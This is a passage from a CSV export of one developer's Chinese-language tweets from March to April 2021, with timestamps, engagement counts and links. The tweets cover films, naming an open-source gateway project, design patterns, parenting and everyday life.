02:50:58+00:00,192,7,17,,昨晚看了《无依之地》，这部电影看上去比较单调乏味，但是我却在不知不觉间看完了，还意犹未尽。感觉就像坐在山间的小溪边，感受着徐徐凉风，看着单调乏味的流水和山林，忘记了时间的存在……,,https://twitter.com/haoel/status/1387237876732022789\n3122,1386974323747921922,2021-04-27 09:23:42+00:00,312,7,59,,为什么我们会把正经的话说得如此的诡异？…… https://t.co/U3vpzvUSPM,,https://twitter.com/haoel/status/1386974323747921922\n3123,1386952365266194438,2021-04-27 07:56:26+00:00,0,0,0,,@CopYvos 谢谢你，小甜心,,https://twitter.com/haoel/status/1386952365266194438\n3124,1386949474312855553,2021-04-27 07:44:57+00:00,30,3,4,,Oh No! Oh No! Oh No No No No No...😂😂😂 @leeight （感谢出镜） https://t.co/q4UoTnz5jL,,https://twitter.com/haoel/status/1386949474312855553\n3125,1386947320701284352,2021-04-27 07:36:24+00:00,1,0,0,,@leeight @IridescentWolke Oh No! Oh No! Oh No No No No No...😂😂😂,,https://twitter.com/haoel/status/1386947320701284352\n3126,1386891977443012613,2021-04-27 03:56:29+00:00,18,2,13,,回个贴感谢大家提供的名字，好些还是不错的，我跟我团队讨论一下，看看哪个不错，如果录用了，我会私信你，支付2000元软妹币聊表心意。,,https://twitter.com/haoel/status/1386891977443012613\n3127,1386889249522290690,2021-04-27 03:45:38+00:00,1,0,1,,@Ryauou 你是来引战的吧……哼哼,,https://twitter.com/haoel/status/1386889249522290690\n3128,1386884411174514692,2021-04-27 03:26:25+00:00,57,1,6,,@CindyCreation 买比特币是为了消耗能源，造电动车是为了节省能源，只有把能源消耗的差不多了，才可能让节省能源的事业更有价值……商业逻辑很自洽……😂,,https://twitter.com/haoel/status/1386884411174514692\n3129,1386690030626762752,2021-04-26 14:34:01+00:00,485,23,76,,\"去理发，理发师跟我聊天，“先生，看您挺年轻的……应该50不到吧？”。那年我才39岁。\n\n去幼儿园接孩子，我家娃老远就叫到：“爸爸！爸爸！”，而孩子的同学都对我说，“爷爷好”。那年，我才38岁。\n\n某日，有位二十六七的女孩问我：“大爷，XX怎么走？”，那年，我才42岁。\n\n感觉坐公交该有人给我让座了……\",,https://twitter.com/haoel/status/1386690030626762752\n3130,1386650592261509130,2021-04-26 11:57:18+00:00,217,39,3,,《内卷的终极解释：摸鱼为什么爽？从熵增角度看摸鱼与资本的关系》 https://t.co/kSSxWNGnN2  这个视频你说讲的这些东西，回想过去20多年身边发生过的各种事，全都印证了…… 1）别把自己放在在一个封闭系统中，2）别成为别人的减熵工具，既韭菜……,\"[TextLink(text='youtu.be/P_zxTvC5jNg', url='https://youtu.be/P_zxTvC5jNg', tcourl='https://t.co/kSSxWNGnN2', indices=(32, 55))]\",https://twitter.com/haoel/status/1386650592261509130\n3131,1385486955446558723,2021-04-23 06:53:25+00:00,0,0,0,,@HanTuo papa 这个名字好可爱，但是不是有点“爸爸”之嫌？,,https://twitter.com/haoel/status/1385486955446558723\n3132,1385486640232103938,2021-04-23 06:52:10+00:00,15,0,0,,@zhao70 只有140个字，“边车”占2个长度，sidecar有7个长度……😭,,https://twitter.com/haoel/status/1385486640232103938\n3133,1385485388773396481,2021-04-23 06:47:12+00:00,30,1,5,,一边在征名，另外一边继续在挖坑，准备支持用WebAssembly编写Gateway插件…… https://t.co/pSqtDYZWUS,,https://twitter.com/haoel/status/1385485388773396481\n3134,1385483308876713984,2021-04-23 06:38:56+00:00,1,0,2,,@is1234lee Go写的,,https://twitter.com/haoel/status/1385483308876713984\n3135,1385471985082245120,2021-04-23 05:53:56+00:00,4,0,1,,@frankwyw7 apm只能看，不能控，看得见，什么也干不了，因为没有控制系统。,,https://twitter.com/haoel/status/1385471985082245120\n3136,1385421556864614401,2021-04-23 02:33:33+00:00,5,0,1,,@Pomatory 欠费了😂😂😂,,https://twitter.com/haoel/status/1385421556864614401\n3137,1385417529909125123,2021-04-23 02:17:33+00:00,13,1,11,,我一直在想，“个旧”式电视机？难道应该是“个旧市”电视机？又读了两遍，终于读懂了……我这大脑，有些时候感觉里面有个别的人……,,https://twitter.com/haoel/status/1385417529909125123\n3138,1385129744006410250,2021-04-22 07:14:00+00:00,2,0,2,,@C6NMyrt Go语言,,https://twitter.com/haoel/status/1385129744006410250\n3139,1385107300352815104,2021-04-22 05:44:49+00:00,7,0,2,,@yihong06181 我直接叫哥斯拉得了。😂😂,,https://twitter.com/haoel/status/1385107300352815104\n3140,1385104709619388416,2021-04-22 05:34:31+00:00,0,0,2,,@heyheyfiv 好像是“飞流”，不过我很喜欢。,,https://twitter.com/haoel/status/1385104709619388416\n3141,1385099436481597443,2021-04-22 05:13:34+00:00,0,0,0,,@sethwang9 还没有，不过，今年要好好盈利一下了,,https://twitter.com/haoel/status/1385099436481597443\n3142,1385097506179076105,2021-04-22 05:05:53+00:00,470,71,296,,【征名】我司自研的EaseGateway本来只想做个网关，但是经过这几年的应用和发展，叫网关有点小，现在有些像个更为高级的流量调度中间件，可以用于API网关，微服务架构，高并发，IoT，Mesh，甚至工作流……近期我们会把它开源，所以，想起一个新的名字，想了一个多月想不出，所以上网求助，有现金奖励！ https://t.co/dzKjgrgl1u,,https://twitter.com/haoel/status/1385097506179076105\n3143,1385037725259075587,2021-04-22 01:08:21+00:00,14,0,0,,我还以为Google又要kill一个产品了……毕竟这个产品已经好长时间不work了…… https://t.co/xJdpiXmU9T,,https://twitter.com/haoel/status/1385037725259075587\n3144,1384886813521682435,2021-04-21 15:08:40+00:00,37,2,9,,\"看了《哥斯拄大战金刚》，几点感想：\n\n1）香港果然是被美国搞乱的……\n\n2）带着个未成年人全程参与难道不是一起虐童事件么？\n\n3）CTO明知没测试过还亲自上线，这就是KPI驱动996加班太多的结果……\n\n4）最后期待未来有变型金刚和绿巨人加入一起乱斗……\",,https://twitter.com/haoel/status/1384886813521682435\n3145,1384874857767317506,2021-04-21 14:21:10+00:00,0,0,0,,@bo__an 哈哈，果然,,https://twitter.com/haoel/status/1384874857767317506\n3146,1384870571486420992,2021-04-21 14:04:08+00:00,0,0,3,,@bo__an 这个是什么梗？,,https://twitter.com/haoel/status/1384870571486420992\n3147,1384868919895281666,2021-04-21 13:57:34+00:00,303,12,44,,让孩子画个中国风的Gopher，画成这样，大家评评。 https://t.co/u3e7lSX08T,,https://twitter.com/haoel/status/1384868919895281666\n3148,1384844792123777025,2021-04-21 12:21:42+00:00,7,2,5,,下一个数码产品的风口？,,https://twitter.com/haoel/status/1384844792123777025\n3149,1384460368051798020,2021-04-20 10:54:08+00:00,143,9,17,,人生中第一本日本漫画书…… https://t.co/MaF2FPCwFw,,https://twitter.com/haoel/status/1384460368051798020\n3150,1383223643207966726,2021-04-17 00:59:50+00:00,94,10,17,,广州花城汇 https://t.co/x2IQVtxgFy,,https://twitter.com/haoel/status/1383223643207966726\n3151,1382653335308705793,2021-04-15 11:13:38+00:00,5,0,0,,@NemoN3m0 1）停不停机更新，跟有没有996没关系。这就是技术不行。2）就算要加班，也就是发布时的，而不是天天。,,https://twitter.com/haoel/status/1382653335308705793\n3152,1382651833525555204,2021-04-15 11:07:40+00:00,18,1,8,,想买个机票，你还来个停机更新…… https://t.co/T34fUDp2nP,,https://twitter.com/haoel/status/1382651833525555204\n3153,1382560027974651905,2021-04-15 05:02:52+00:00,387,76,25,,在群里看到的，感觉挺对的，尤其最后一句……（求出处） https://t.co/VeQxxRhzl9,,https://twitter.com/haoel/status/1382560027974651905\n3154,1382495060558712837,2021-04-15 00:44:42+00:00,232,40,7,,while(true)那个感觉应该是递归…… https://t.co/HL8IobsYgD,,https://twitter.com/haoel/status/1382495060558712837\n3155,1382211436676538370,2021-04-14 05:57:41+00:00,41,3,8,,在微博上看评论说是加班很严重，还是“天坑”，那大家都评论些，我反馈给他们，也给他们一些压力，既然盖了这么多员工福利设施，那就应该全方位做到位……,,https://twitter.com/haoel/status/1382211436676538370\n3156,1382197774058287106,2021-04-14 05:03:23+00:00,0,0,1,,@damon_yj 哪三坑？,,https://twitter.com/haoel/status/1382197774058287106\n3157,1382191013905657856,2021-04-14 04:36:32+00:00,275,42,55,,这两天拜访了广州视源公司，这家公司厂品比公司更有名，除了有不错的产品。公司的福利真好，体检中心、健身房、游泳池、幼儿园、米琪林餐厅、与院线同步的电影院……一应俱全……是我见过的福利最好的公司了……这才是给员工福报正确姿势…… https://t.co/f7yFAUZd6Y,,https://twitter.com/haoel/status/1382191013905657856\n3158,1380475625819959304,2021-04-09 11:00:11+00:00,0,0,0,,@Norvisky 记错了，谢谢纠正！,,https://twitter.com/haoel/status/1380475625819959304\n3159,1380414765600624643,2021-04-09 06:58:21+00:00,98,12,13,,想起上大学的时候，也是在黑板上和作业本上学编程，每周才能上一次IBM VAX机实践C语言……,,https://twitter.com/haoel/status/1380414765600624643\n3160,1378993353446940672,2021-04-05 08:50:10+00:00,3,2,1,,满满的回忆……,,https://twitter.com/haoel/status/1378993353446940672\n3161,1378948065365684231,2021-04-05 05:50:13+00:00,0,0,1,,@CindyCreation 没出汗嘛,,https://twitter.com/haoel/status/1378948065365684231\n3162,1378576756844625920,2021-04-04 05:14:46+00:00,21,0,2,,不喜欢玩手机还爱干净的孩子是值得尊敬的！👍,,https://twitter.com/haoel/status/1378576756844625920\n3163,1378571753383886848,2021-04-04 04:54:53+00:00,0,0,0,,@kevinzhow 胖子！忍住！！,,https://twitter.com/haoel/status/1378571753383886848\n3164,1378571027173699587,2021-04-04 04:52:00+00:00,57,9,4,,Respect...,,https://twitter.com/haoel/status/1378571027173699587\n3165,1378569683331244032,2021-04-04 04:46:39+00:00,34,0,13,,带孩子出来走走，好久没到人多的地方了，看到好多小姐姐古装造型，有一种到了某影视城的感觉……,,https://twitter.com/haoel/status/1378569683331244032\n3166,1377971087212867587,2021-04-02 13:08:03+00:00,2,0,0,,@NdFeB91 关键是要让孩子掌握这样的技巧,,https://twitter.com/haoel/status/1377971087212867587\n3167,1377969396807729154,2021-04-02 13:01:20+00:00,37,2,4,,虽然我们家孩子知道怎么识别谎言，但现在已经学会，撒谎必须拿已经发生过的事来说，否则一定会被戳穿……😅😅,,https://twitter.com/haoel/status/1377969396807729154\n3168,1377965850204852232,2021-04-02 12:47:14+00:00,312,45,11,,\"为了给孩子增加一些独立思考能力。最近跟孩子在玩两个小游戏，分享给大家：\n\n1）识别对方是否在说谎。主要是通过不断地追问各种各样的细节。这样可以让孩子不容易被骗。\n\n2）任何事情都思考正反两个版本。为了让孩更容易思考，我们会经常互换反正双方进行辩论。\n\n（如果大家也有类似的，欢迎分享）\",,https://twitter.com/haoel/status/1377965850204852232\n3169,1377551694943330310,2021-04-01 09:21:32+00:00,3,0,0,,@CharlesTang 其一，你一定没有仔细看我的源码，我那300行里有好几种解题方式，所谓“官方”的也在我那300行里。其二，官方的只是为了解题（只有加减法），我的代码除了设计模式，还有语法树，还有逆波兰表达式，这是真实世界的工程思路。,,https://twitter.com/haoel/status/1377551694943330310\n3170,1377398087782567938,2021-03-31 23:11:09+00:00,0,0,0,,@jooojoooo99 可以开张营业了,,https://twitter.com/haoel/status/1377398087782567938\n3171,1377394968747073540,2021-03-31 22:58:45+00:00,1,0,0,,@wongding https://t.co/BYogL6Wvga,\"[TextLink(text='coolshell.cn/articles/21263…', url='https://coolshell.cn/articles/21263.html', tcourl='https://t.co/BYogL6Wvga', indices=(10, 33))]\",https://twitter.com/haoel/status/1377394968747073540\n3172,1377248342921519108,2021-03-31 13:16:07+00:00,148,21,3,,在LeetCode上有道编程题——实现一个简单的计算器（https://t.co/D20mQJo0TP），一般来说用两个stack就可以解决问题，但是因为我对设计模式实在是太熟，所以情不自禁用Interpreter 撸了一个（https://t.co/PF9JNhg8Gk） 大家可以看看其易读性和代码的扩展性，绝对比“双栈法”要好得多……,\"[TextLink(text='leetcode.com/problems/basic…', url='https://leetcode.com/problems/basic-calculator/', tcourl='https://t.co/D20mQJo0TP', indices=(28, 51)), TextLink(text='github.com/haoel/leetcode…', url='https://github.com/haoel/leetcode/blob/master/algorithms/cpp/basicCalculator/BasicCalculator.cpp', tcourl='https://t.co/PF9JNhg8Gk', indices=(113, 136))]\",https://twitter.com/haoel/status/1377248342921519108\n3173,1377243384167886856,2021-03-31 12:56:25+00:00,3,1,2,,@draven0xff 对不起，是我看走眼了。不过，Visitor这个设计模式，相当的复杂和绕……你一定不会喜欢。😂😂,,https://twitter.com/haoel/status/1377243384167886856\n3174,1377242942507606021,2021-03-31 12:54:40+00:00,149,14,4,,这些设计模式可以用任何的编程范式来实现，关键是我们要理解其思想而不是教条，其中心思想两个：1）耦合接口而不是实现，2）分离控制逻辑和业务逻辑。如果能够真正地理解这两点，你会不自觉地写出设计模式的代码，代码的扩展性和重用性也会很好。示例：在Spring 框架加持下，几乎很难写烂代码（2/2）,,https://twitter.com/haoel/status/1377242942507606021\n3175,1377242940838322177,2021-03-31 12:54:39+00:00,394,60,7,,看到有人说设计模式过时了，我得说设计模式非常非常有用，用Proxy做RAII，用Bridge解耦对象，用Observer 来Watch状态变化，用Strategy解耦实现和接口，用Adapter适配异构，用Command实现Undo/Redo，用Decorator实现无侵入式增强，Interpreter实现表达式，用Vistor分治一个大对象…… （1/2）,,https://twitter.com/haoel/status/1377242940838322177\n3176,1377233950876180481,2021-03-31 12:18:56+00:00,10,2,2,,@draven0xff 对于文中的访问者模式，k8s 用的很好的，参看：https://t.co/BYogL6Wvga,\"[TextLink(text='coolshell.cn/articles/21263…', url='https://coolshell.cn/articles/21263.html', tcourl='https://t.co/BYogL6Wvga', indices=(36, 59))]\",https://twitter.com/haoel/status/1377233950876180481\n3177,1377232394298695680,2021-03-31 12:12:45+00:00,23,0,2,,@draven0xff 不过我要说一下，设计模式非常有用。,,https://twitter.com/haoel/status/1377232394298695680\n3178,1377231875354157060,2021-03-31 12:10:41+00:00,2,0,1,,@draven0xff @gengjiawen 谁说没有？社交软件标配！https://t.co/EQwt6bhHw0,\"[TextLink(text='docs.github.com/en/communities…', url='https://docs.github.com/en/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account', tcourl='https://t.co/EQwt6bhHw0', indices=(36, 59))]\",https://twitter.com/haoel/status/1377231875354157060\n3179,1376894699026321410,2021-03-30 13:50:52+00:00,10,0,2,,养猪需要一到三个月，如果一天发展两个人，养猪要养60-180人，同时养那么多人，还不能搞混了，这个管理工作量很大啊……,,https://twitter.com/haoel/status/1376894699026321410\n3180,1376888304117817348,2021-03-30 13:25:27+00:00,57,4,10,,\"《回形针：Vol.165 电信网络诈骗如何让你倾家荡产？ 》https://t.co/1LhKbqFjvE \n\n天天看养生保健的60后，被骗也就3.4%，而90后被骗比例却是63.7%…… https://t.co/98gzbdTtEa\",\"[TextLink(text='youtu.be/oHHBYu5ANBg', url='https://youtu.be/oHHBYu5ANBg', tcourl='https://t.co/1LhKbqFjvE', indices=(30, 53))]\",https://twitter.com/haoel/status/1376888304117817348\n3181,1376884273316126727,2021-03-30 13:09:26+00:00,52,3,9,,@wangxiaoshan 我们是技术应用大国，不是技术创造大国。很多基础和高精尖的东西，还根本不会……,,https://twitter.com/haoel/status/1376884273316126727\n3182,1376546238380711936,2021-03-29 14:46:12+00:00,3,0,0,,@glasslion 本来就是外行……说得自己是内行似的……,,https://twitter.com/haoel/status/1376546238380711936\n3183,1376545792345874449,2021-03-29 14:44:26+00:00,4,0,0,,@MWK_G 这就扯了，这能堵多长时间啊？如果有四五条船堵上后，再把自己炸了，那还说得通……完成了纳粹曾经想完成的的事……,,https://twitter.com/haoel/status/1376545792345874449\n3184,1376492898909179905,2021-03-29 11:14:15+00:00,42,5,11,,看了下维基百科上的苏伊士运河搁浅事件，居然不是第一次了。而且在苏伊士运河上通行，还是由埃及运河当局的人驾驶，而不是由最初的船员驾驶。看来天天在这条河上开船熟悉地形的人也不能完全hold住…… https://t.co/hwg3ZIr1kj,,https://twitter.com/haoel/status/1376492898909179905\n3185,1376486208960823297,2021-03-29 10:47:40+00:00,11,1,1,,@songma 维基百科：https://t.co/0ODH4KDakU,\"[TextLink(text='zh.wikipedia.org/wiki/2021%E5%B…', url='https://zh.wikipedia.org/wiki/2021%E5%B9%B4%E8%98%87%E4%BC%8A%E5%A3%AB%E9%81%8B%E6%B2%B3%E9%98%BB%E5%A1%9E%E4%BA%8B%E4%BB%B6', tcourl='https://t.co/0ODH4KDakU', indices=(13, 36))]\",https://twitter.com/haoel/status/1376486208960823297\n3186,1376197139018092547,2021-03-28 15:39:01+00:00,30,3,4,,快快派到苏伊士运河……,,https://twitter.com/haoel/status/1376197139018092547\n3187,1375756934414917640,2021-03-27 10:29:48+00:00,0,0,1,,@xunxuntj 对的，就是这样。,,https://twitter.com/haoel/status/1375756934414917640\n3188,1375736434829582340,2021-03-27 09:08:20+00:00,1,0,1,,@CindyCreation 打键盘的手，劳动人民的手,,https://twitter.com/haoel/status/1375736434829582340\n3189,1375735796607590400,2021-03-27 09:05:48+00:00,6,0,3,,@waylybaye @CindyCreation 是你要把熊猫从北京带走么？,,https://twitter.com/haoel/status/1375735796607590400\n3190,1375653154990125064,2021-03-27 03:37:25+00:00,181,4,44,,大家吃玉米都是像我这样“打字机”的吃法吗？ https://t.co/qQbXK6fa9a,,https://twitter.com/haoel/status/1375653154990125064\n3191,1375311744751464451,2021-03-26 05:00:46+00:00,95,13,11,,Fixing the problem when your Kubernetes in production goes wrong... https://t.co/ElIeyC1baq,,https://twitter.com/haoel/status/1375311744751464451\n3192,1375085199613038596,2021-03-25 14:00:34+00:00,0,0,1,,@shell909090 用身份证上营业厅,,https://twitter.com/haoel/status/1375085199613038596\n3193,1375077960101756932,2021-03-25 13:31:48+00:00,56,7,0,,一个女程序员写下了用线作画的程序（代码：https://t.co/i39fe2ewjg ）视频：I Wrote an Algorithm to Draw Portraits from Thread | Thread Art https://t.co/UIKoAYz8Ys,\"[TextLink(text='github.com/theveloped/Thr…', url='https://github.com/theveloped/ThreadTone', tcourl='https://t.co/i39fe2ewjg', indices=(20, 43)), TextLink(text='m.youtube.com/watch?v=UsbBSt…', url='https://m.youtube.com/watch?v=UsbBSttaJos', tcourl='https://t.co/UIKoAYz8Ys', indices=(112, 135))]\",https://twitter.com/haoel/status/1375077960101756932\n3194,1374670791254503429,2021-03-24 10:33:51+00:00,95,2,23,,我前团队有个小伙在微软，今天处理了跟COM相关的问题后，来问我用过COM没，设计的很神奇。让我瞬间想起了2007年用COM的时光……那时，技术圈老喜欢 COM了，虽然技术很恶心，但没办法，那是微软年代……今天，看到COM后继有人，我在心里只能默默地祝福他，年青人能在今天还能用上COM真是一种福报……❤️,,https://twitter.com/haoel/status/1374670791254503429\n3195,1374662562692788227,2021-03-24 10:01:09+00:00,0,0,1,,@LordSimon 你这两段话，其实可以放在一条推中发的……,,https://twitter.com/haoel/status/1374662562692788227\n3196,1374592251188314121,2021-03-24 05:21:46+00:00,20,0,1,,把这条推当成“薪资”来看的，可见你平时有多关注薪资 😂🤣,,https://twitter.com/haoel/status/1374592251188314121\n3197,1374354888080068609,2021-03-23 13:38:34+00:00,1,0,0,,@xiamiluo 岗位数,,https://twitter.com/haoel/status/1374354888080068609\n3198,1374324745127141378,2021-03-23 11:38:47+00:00,5,0,0,,@dontry018 看我最后一句话,,https://twitter.com/haoel/status/1374324745127141378\n3199,1374323581555933188,2021-03-23 11:34:10+00:00,166,27,36,,\"上Linkedin搜工作机会\n\n 　　　｜ 中  ｜  美\n ——————————\nC# 　　| 1.5万|  4万\nJava     |  10万 | 12万\nGolang |  6千  | 1万\nPython |  6万  | 12万\nPHP      |  3千  | 4千\nC++      |  6万  |  5万\nRust　  |  5百  |  1千 \nReactjs |  3千  | 4万\nVuejs    |  7千  | 8千\n\n中国实际上应该还要多\",,https://twitter.com/haoel/status/1374323581555933188\n3200,1374223592070606848,2021-03-23 04:56:50+00:00,41,1,7,,@zshbleaker 翻译的不太好,,https://twitter.com/haoel/status/1374223592070606848\n3201,1374222331850027015,2021-03-23 04:51:50+00:00,1,0,1,,@breaver1 可是我并不疲劳啊，本来就不加班，疫情期出差也少了，完全不辛苦啊。比打工的时候清闲多了……,,https://twitter.com/haoel/status/1374222331850027015\n3202,1374220869543755779,2021-03-23 04:46:01+00:00,0,0,2,,@meca18v 这么可怕😱,,https://twitter.com/haoel/status/1374220869543755779\n3203,1374185186510794755,2021-03-23 02:24:14+00:00,18,0,5,,孩子出生的时候，连续一两年根本就睡不好觉，然后就形成了一天就睡四五个小时的习惯。自从戒烟了以后，发现睡眠质量提高，但也发现睡得更多了……,,https://twitter.com/haoel/status/1374185186510794755\n3204,1374184386246057984,2021-03-23 02:21:03+00:00,53,1,19,,最近两年发现自己越睡越多，而且还怎么都睡不够。两三年前一天睡六、七个小时就够了，凌晨一两点睡，早上八九点才起，也觉得没有任何问题。现在每天晚上十一点睡觉，睡眠质量超好，早上不上个闹钟，根本醒不过来，但是感觉完全没睡够。我是不是睡觉上瘾了……,,https://twitter.com/haoel/status/1374184386246057984\n3205,1373667482095951875,2021-03-21 16:07:03+00:00,308,72,4,,人到中年，观察和接触过许多身边的人，不同的人有不同的目标有不同的选择，都无可厚非。但越来越感觉，好像更为有趣的人生观，都是勇于向更有挑战更高层次的地方进发时，对那种不确定性的未来而兴奋的“冒险模式”，而不是瞻前顾后，靠不断重复过去或是跟随别人的“稳定模式”（转：贝索斯的什么是酷） https://t.co/elYrTsLOr6,,https://twitter.com/haoel/status/1373667482095951875\n3206,1373652877630074882,2021-03-21 15:09:01+00:00,5,1,0,,超人再牛也搞不定银行……😂,,https://twitter.com/haoel/status/1373652877630074882\n3207,1373651413524389889,2021-03-21 15:03:12+00:00,13,4,5,,打开Gmail发现了这样的提示…… https://t.co/dvI3oJq7I9,,https://twitter.com/haoel/status/1373651413524389889\n3208,1373435197836816386,2021-03-21 00:44:03+00:00,1,0,2,,@NovaIntrovert 一种是较真，一种是情节是否合理。这是两个事。情节不合理了，人会很出戏到，狗血剧情就是这么来的。一个故事，要有基本的合理性，如果没有合理性的话，这个故事也就不吸引人了。,,https://twitter.com/haoel/status/1373435197836816386\n3209,1373290521829863424,2021-03-20 15:09:09+00:00,0,0,0,,@AustieBlues 好吧，明白了。我就记得里面说，事物就是种形态的变化，于是他们可以把一个烧毁的房子给复原了……不管怎么样，谢谢你的解释，现在感觉有点儿合乎逻辑了。,,https://twitter.com/haoel/status/1373290521829863424\n3210,1373286897775087619,2021-03-20 14:54:45+00:00,0,0,1,,@AustieBlues 是的，我说他们把荒原狼干死了以后，应该拿着母盒复活自己的亲人吧，这样就不需要那么伤感的那些煽情戏了……,,https://twitter.com/haoel/status/1373286897775087619\n3211,1373283706257825799,2021-03-20 14:42:04+00:00,0,0,0,,@AustieBlues 是的，维基百科里面都讲过！粉丝力量大！,,https://twitter.com/haoel/status/1373283706257825799\n3212,1373280896086765573,2021-03-20 14:30:54+00:00,8,0,18,,看完了，节奏有点慢，整个故事还行，但是比起漫威的差距还是太大了。另外，故事逻辑不合理，1）拿个立方体可以随便复活个人，最后他们为什么不把自己的父母复活一下？2）闪电侠随时都可以让时间倒流，相当于打游戏存盘重来，反派还咱家玩？3）反派荒原狼，一开始都不硬碰硬各种遁，为啥最后不遁？,,https://twitter.com/haoel/status/1373280896086765573\n3213,1373276376745209865,2021-03-20 14:12:57+00:00,21,5,2,,https://t.co/BbZiWa2eyS,\"[TextLink(text='cn.nytimes.com/technology/202…', url='https://cn.nytimes.com/technology/20210319/china-linkedin-censorship/', tcourl='https://t.co/BbZiWa2eyS', indices=(0, 23))]\",https://twitter.com/haoel/status/1373276376745209865\n3214,1373261067023835143,2021-03-20 13:12:06+00:00,0,0,0,,@OvO_0220 哦，好的，这个看上去不错，可以试试。,,https://twitter.com/haoel/status/1373261067023835143\n3215,1373214176101892096,2021-03-20 10:05:47+00:00,0,0,0,,@HqQun 重名了,,https://twitter.com/haoel/status/1373214176101892096\n3216,1373213897033883648,2021-03-20 10:04:40+00:00,19,1,8,,看到很多人都在说扎导的4个小时《正义者联盟》，看到豆瓣9分，IMDB 8.5分，然后，还上维基百科看了荧幕之外的故事 https://t.co/MStS9ra3Wo，真是把我的胃口调得足足的……一会就看，我估计看完导剪版后，还得把之前院线版的再看一遍……,\"[TextLink(text='zh.wikipedia.org/wiki/%E6%9F%A5…', url='https://zh.wikipedia.org/wiki/%E6%9F%A5%E5%85%8B%C2%B7%E5%8F%B2%E5%A5%88%E5%BE%B7%E4%B9%8B%E6%AD%A3%E7%BE%A9%E8%81%AF%E7%9B%9F', tcourl='https://t.co/MStS9ra3Wo', indices=(59, 82))]\",https://twitter.com/haoel/status/1373213897033883648\n3217,1373200727074426892,2021-03-20 09:12:20+00:00,0,0,0,,@tinyfool 哈哈哈😄,,https://twitter.com/haoel/status/1373200727074426892\n3218,1373199786078212097,2021-03-20 09:08:36+00:00,47,1,3,,\"然后我觉得比较奇怪，我又给他回电话，他倒是跟我非常客气，然后还主动跟我一起捋了捋，为什么他有我的电话。捋了20分钟，发现我们还是老乡，他也不做技术，也不知道我的网名，他只能知道我的电话应该是四五年前加的，至于为什么加的，他也忘记了……😇\n\n今天看到了新闻，想起了这事……🤣\",,https://twitter.com/haoel/status/1373199786078212097\n3219,1373199784211669001,2021-03-20 09:08:36+00:00,94,6,9,,几周前，接到个不在我通讯录里的电话：“陈皓，你下午有空去网监吗？”，我问，“啥事啊？”，对方回答：“跟上回一样，咱们网站上出现了敏感内容，需要去说明一下我们的技术架构，应该没什么大事……”。外企范儿，夹杂英文。于是，我知道他打错电话了，细聊才知道是领英中国，他想找的是他们公司的陈皓……,,https://twitter.com/haoel/status/1373199784211669001\n3220,1373094332224339969,2021-03-20 02:09:34+00:00,42,1,3,,@CindyCreation 为了爱情找@waylybaye ，祝有情人终成眷属❤️❤️,,https://twitter.com/haoel/status/1373094332224339969\n3221,1373086498564698112,2021-03-20 01:38:26+00:00,0,0,1,,@zhewang 你家几只猫,,https://twitter.com/haoel/status/1373086498564698112\n3222,1373086396534067201,2021-03-20 01:38:02+00:00,0,0,0,,@TommyL42821183 这么多🐱,,https://twitter.com/haoel/status/1373086396534067201\n3223,1373086257404731393,2021-03-20 01:37:29+00:00,0,0,0,,@YinzheDeng 已经在用了，效果不错，但效率不高,,https://twitter.com/haoel/status/1373086257404731393\n3224,1372898580395032578,2021-03-19 13:11:43+00:00,0,0,1,,@AbnerYaoo 这个看上去不错。,,https://twitter.com/haoel/status/1372898580395032578\n3225,1372886190282612739,2021-03-19 12:22:29+00:00,0,0,0,,@im_gafish 粘毛滚感觉效率不高，粘一会儿就得撕……,,https://twitter.com/haoel/status/1372886190282612739\n3226,1372885196400324611,2021-03-19 12:18:32+00:00,13,0,35,,求推友推荐猫毛清理工具……,,https://twitter.com/haoel/status/1372885196400324611\n3227,1372140213602947075,2021-03-17 10:58:14+00:00,1,0,1,,@gaoxiaoning @waylybaye 还有另外一条路可以出国。中国的教育体制也不行。,,https://twitter.com/haoel/status/1372140213602947075\n3228,1372136225327312896,2021-03-17 10:42:23+00:00,98,6,5,,@waylybaye 如果只看生活，有太多的小城市比北京好太多了，比如我老家云南昆明，但我还是会选择呆在北京（至少是在我还需要事业的时候），我回不去老家更多的原因是难以融入，没有共同语言，聊不起来，观念差异太大，思维方式完全不一样……就好像，对你最好的跟你最亲的人是父母，但你的幸福感很少会来自父母……,,https://twitter.com/haoel/status/1372136225327312896\n3229,1371841777888546832,2021-03-16 15:12:22+00:00,15,0,1,,@kevinzhow 入华后里面只有CCTV的节目,,https://twitter.com/haoel/status/1371841777888546832\n3230,1371840764892876813,2021-03-16 15:08:20+00:00,3,0,1,,@petrichor707 这应该是你10年前40岁左右的时候……😍,,https://twitter.com/haoel/status/1371840764892876813\n3231,1371729347095109634,2021-03-16 07:45:36+00:00,2,0,0,,@janxin @kevinzhow Hugo +1,,https://twitter.com/haoel/status/1371729347095109634\n3232,1371657935047122944,2021-03-16 03:01:50+00:00,96,6,3,,@repoog 我小的时候看父母下岗，就知道，大公司都是假像，靠谁都靠不住，唯有靠自己……,,https://twitter.com/haoel/status/1371657935047122944\n3233,1371656469217615872,2021-03-16 02:56:01+00:00,0,0,1,,@zhengyibuke 你经历过加需求吗？道理相似,,https://twitter.com/haoel/status/1371656469217615872\n3234,1371634630026129408,2021-03-16 01:29:14+00:00,3,0,0,,@FreiheitYu 其实所谓的索求也是在试探对方，算是已经是谈过了，不需要多罗嗦了。后面只能公对公操作，还不能直接要钱，不然别人可能会告你讹诈，得给几个选项，一个是公开事情诉诸舆论的做法，一个是依据法律停止授权，最后才是补签商业合同诉取报酬……,,https://twitter.com/haoel/status/1371634630026129408\n3235,1371416192473178115,2021-03-15 11:01:14+00:00,0,0,1,,@neil_li 人家是公司的职员……,,https://twitter.com/haoel/status/1371416192473178115\n3236,1371398683300786177,2021-03-15 09:51:40+00:00,184,16,48,,多数人都觉得”朋友借钱“是件很困扰的事。老实说，”免费帮忙“其实比”朋友借钱“令我更困扰，借钱还有字据，帮忙连字据都没有。最恶心的是明明对方用你的付出获利，但对方不但不给你相应的报酬，还要不断的得寸进尺让你继续地付出，当你开始有点索求时，对方还说你不讲感情、小气、占便宜……这种人咋治？,,https://twitter.com/haoel/status/1371398683300786177\n3237,1371392975305986054,2021-03-15 09:28:59+00:00,21,1,1,,\"一个和手势识别技术相关的gist \nhttps://t.co/JzviO7U8DO\",\"[TextLink(text='gist.github.com/TheJLifeX/7495…', url='https://gist.github.com/TheJLifeX/74958cc59db477a91837244ff598ef4a', tcourl='https://t.co/JzviO7U8DO', indices=(18, 41))]\",https://twitter.com/haoel/status/1371392975305986054\n3238,1371374610508173315,2021-03-15 08:16:00+00:00,1,0,2,,@fujohnwang 你又换名字又改头像的，让人有点抓狂,,https://twitter.com/haoel/status/1371374610508173315\n3239,1371373029096185861,2021-03-15 